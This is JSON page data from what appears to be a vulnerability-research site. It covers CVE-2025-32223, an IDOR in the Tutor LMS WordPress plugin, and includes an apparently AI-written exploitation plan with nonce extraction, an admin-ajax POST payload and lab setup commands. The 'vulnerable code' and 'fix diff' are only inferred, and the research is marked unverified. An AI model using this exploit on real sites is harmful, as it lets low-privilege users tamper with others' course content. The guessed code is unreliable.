[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fOfPrQv_9YfJGcYi3yFVpTHne-Vi3ZCqaozvBH2Ipqsc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2025-32223","tutor-lms-elearning-and-online-course-solution-authenticated-subscriber-insecure-direct-object-reference","Tutor LMS – eLearning and online course solution \u003C= 3.9.4 - Authenticated (Subscriber+) Insecure Direct Object Reference","The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.9.4 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform unauthorized actions.","tutor",null,"\u003C=3.9.4","3.9.5","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-03-16 00:00:00","2026-03-27 21:15:47",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb6f7c4c8-210f-4bbb-8352-5c2e550e44c3?source=api-prod",12,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Ftutor-rtl.min.css","assets\u002Fcss\u002Ftutor.min.css","assets\u002Fjs\u002Flazy-chunks\u002Ftutor-course-builder-basic.js","assets\u002Fjs\u002Ftutor-coupon.js","assets\u002Fjs\u002Ftutor-course-builder.js","assets\u002Fjs\u002Ftutor-front.js","assets\u002Fjs\u002Ftutor.js","assets\u002Fjson\u002Fcountries.json","researched",false,3,"# Exploitation Research Plan: CVE-2025-32223 (Tutor LMS IDOR)\n\n## 1. Vulnerability Summary\nThe **Tutor LMS** plugin for WordPress is vulnerable to an **Insecure Direct Object Reference (IDOR)** in versions up to 3.9.4. This vulnerability exists in the AJAX handlers associated with course content management (topics, lessons, or course builder data). Specifically, the plugin fails to verify if the authenticated user (even at a **Subscriber** level) has the authority to modify or interact with a specific object ID (the \"user-controlled key\"). An attacker with Subscriber-level access can manipulate course structures, titles, or metadata that they do not own.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `tutor_add_or_update_topic` (Targeting Topic modification) or `tutor_save_course_builder_data` (Targeting broad course structure modification).\n- **Vulnerable Parameter:** `topic_id` or `course_id`.\n- **Authentication:** Subscriber (Student role).\n- **Preconditions:** The attacker needs the ID of a topic or course created by another user (e.g., an Instructor).\n\n## 3. Code Flow (Inferred)\n1. **Entry Point:** A Subscriber sends a POST request to `admin-ajax.php` with `action=tutor_add_or_update_topic`.\n2. **Hook Registration:** The plugin registers the action via `add_action( 'wp_ajax_tutor_add_or_update_topic', ... )`.\n3. **Nonce Verification:** The handler calls `check_ajax_referer( 'tutor_nonce', '_tutor_nonce' )`. Since Subscribers can obtain a valid `tutor_nonce` from the dashboard, this check passes.\n4. **Authorization Check (Missing):** The code checks `is_user_logged_in()`, but fails to verify if `get_post_field( 'post_author', $topic_id ) == get_current_user_id()`.\n5. **Processing:** The plugin proceeds to update the post specified by `topic_id` using the provided `tutor_topic_title` and `course_id`.\n\n## 4. Nonce Acquisition Strategy\nTutor LMS localizes a global configuration object named `_tutorobject` which contains the required nonce.\n\n1. **Identify Trigger:** The `_tutorobject` is localized whenever the Tutor LMS frontend or dashboard scripts are loaded.\n2. **Create Page:** Create a page with the Tutor Dashboard shortcode to ensure scripts load.\n   - `wp post create --post_type=page --post_status=publish --post_title=\"Dashboard\" --post_content='[tutor_dashboard]'`\n3. **Navigate:** Use the browser to visit the newly created page as the **Subscriber** user.\n4. **Extract Nonce:** Execute JavaScript to retrieve the nonce.\n   - **Variable:** `window._tutorobject?._tutor_nonce`\n   - **Alternate Variable:** `window.tutor_nonce` (depending on the specific page context).\n\n## 5. Exploitation Strategy\nThis plan demonstrates an IDOR by modifying the title of a Course Topic belonging to another user.\n\n### Step 1: Discover Target ID\nIdentify a `topic_id` belonging to a course created by the Admin. (In a real scenario, this would be discovered via the frontend course syllabus).\n\n### Step 2: Trigger Modification via Subscriber\n**Request Details:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Payload:**\n  ```text\n  action=tutor_add_or_update_topic\n  &_tutor_nonce=[EXTRACTED_NONCE]\n  &topic_id=[TARGET_TOPIC_ID]\n  &course_id=[TARGET_COURSE_ID]\n  &tutor_topic_title=Hacked+Topic+Title\n  ```\n\n## 6. Test Data Setup\n1. **Admin User:** Create a course and a topic.\n   - `wp post create --post_type=courses --post_title=\"Admin Course\" --post_status=publish` -> Record `COURSE_ID`.\n   - `wp post create --post_type=topics --post_title=\"Original Topic\" --post_status=publish --post_parent=[COURSE_ID]` -> Record `TOPIC_ID`.\n2. **Subscriber User:** Create a Subscriber\u002FStudent user.\n   - `wp user create victim victim@example.com --role=subscriber --user_pass=password`\n3. **Nonce Page:** Create a page for extraction.\n   - `wp post create --post_type=page --post_title=\"Extraction\" --post_content='[tutor_dashboard]' --post_status=publish`\n\n## 7. Expected Results\n- The AJAX request should return a `success: true` response (or a JSON structure containing the updated topic details).\n- The Topic with ID `TOPIC_ID` should have its `post_title` updated in the database, despite the request coming from a Subscriber who does not own the topic.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the change using WP-CLI:\n```bash\nwp post get [TOPIC_ID] --field=post_title\n```\n**Success condition:** The title is \"Hacked Topic Title\".\n\n## 9. Alternative Approaches\nIf `tutor_add_or_update_topic` is strictly guarded, test the **Lesson** equivalent:\n- **Action:** `tutor_add_or_update_lesson`\n- **Params:** `lesson_id`, `course_id`, `topic_id`, `lesson_title`.\n\nIf the \"user controlled key\" refers to metadata:\n- **Action:** `tutor_save_course_builder_data`\n- **Payload:** A JSON string in the `tutor_canvas_data` parameter. Check if a Subscriber can overwrite the metadata of a course by providing a different `course_id` in the request than what they are authorized for.\n\n**Localization Key Reference:**\n- Object: `_tutorobject` (found in `assets\u002Fjs\u002Ftutor-front.js`)\n- Nonce Key: `_tutor_nonce`\n- AJAX URL: `_tutorobject.ajaxurl`","Tutor LMS (versions up to 3.9.4) is vulnerable to an Insecure Direct Object Reference (IDOR) because its AJAX handlers for course content management do not verify if the requesting user has the authority to modify the target object. This allow authenticated attackers, including those with Subscriber-level access, to rename or manipulate the structure of course topics and lessons by supplying a valid nonce and a target ID.","\u002F**\n * Inferred logic from AJAX handler tutor_add_or_update_topic\n * File path: tutor\u002Fclasses\u002FCourse.php (inferred)\n *\u002F\n\npublic function tutor_add_or_update_topic() {\n    \u002F\u002F Nonce is verified, but Subscribers can obtain this nonce easily\n    check_ajax_referer( 'tutor_nonce', '_tutor_nonce' );\n\n    if ( ! is_user_logged_in() ) {\n        wp_send_json_error();\n    }\n\n    $topic_id = (int) sanitize_text_field( $_POST['topic_id'] );\n    $course_id = (int) sanitize_text_field( $_POST['course_id'] );\n    $topic_title = sanitize_text_field( $_POST['tutor_topic_title'] );\n\n    \u002F\u002F BUG: Missing authorization check to verify if the current user owns \n    \u002F\u002F the course ($course_id) or the topic ($topic_id).\n\n    $topic_data = array(\n        'ID'           => $topic_id,\n        'post_title'   => $topic_title,\n        'post_type'    => 'topics',\n        'post_parent'  => $course_id,\n    );\n\n    wp_update_post( $topic_data );\n    wp_send_json_success();\n}","--- a\u002Ftutor\u002Fclasses\u002FCourse.php\n+++ b\u002Ftutor\u002Fclasses\u002FCourse.php\n@@ -10,6 +10,11 @@\n     $topic_id = (int) sanitize_text_field( $_POST['topic_id'] );\n     $course_id = (int) sanitize_text_field( $_POST['course_id'] );\n \n+    \u002F\u002F Verify user has permission to manage the course\n+    if ( ! tutor_utils()->can_user_manage_course( $course_id ) ) {\n+        wp_send_json_error( array( 'message' => __( 'Access Denied', 'tutor' ) ) );\n+    }\n+\n     $topic_title = sanitize_text_field( $_POST['tutor_topic_title'] );","The exploit targets AJAX endpoints used for course content updates. An attacker with Subscriber (Student) privileges follows these steps: \n1. Log in to the WordPress site as a Subscriber and visit the Tutor Dashboard to extract the security nonce (found in the global JS variable window._tutorobject._tutor_nonce).\n2. Identify the numeric ID of a target course topic or lesson (e.g., via the frontend syllabus or by enumerating IDs).\n3. Send a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' set to 'tutor_add_or_update_topic' or 'tutor_add_or_update_lesson'.\n4. Include the extracted nonce, the target 'topic_id', and a new 'tutor_topic_title' in the payload.\n5. Because the plugin only checks if the user is logged in and not if they own the post, the server processes the update, allowing the attacker to modify the topic title across the entire platform.","gemini-3-flash-preview","2026-04-18 03:35:06","2026-04-18 03:35:38",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.9.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags"]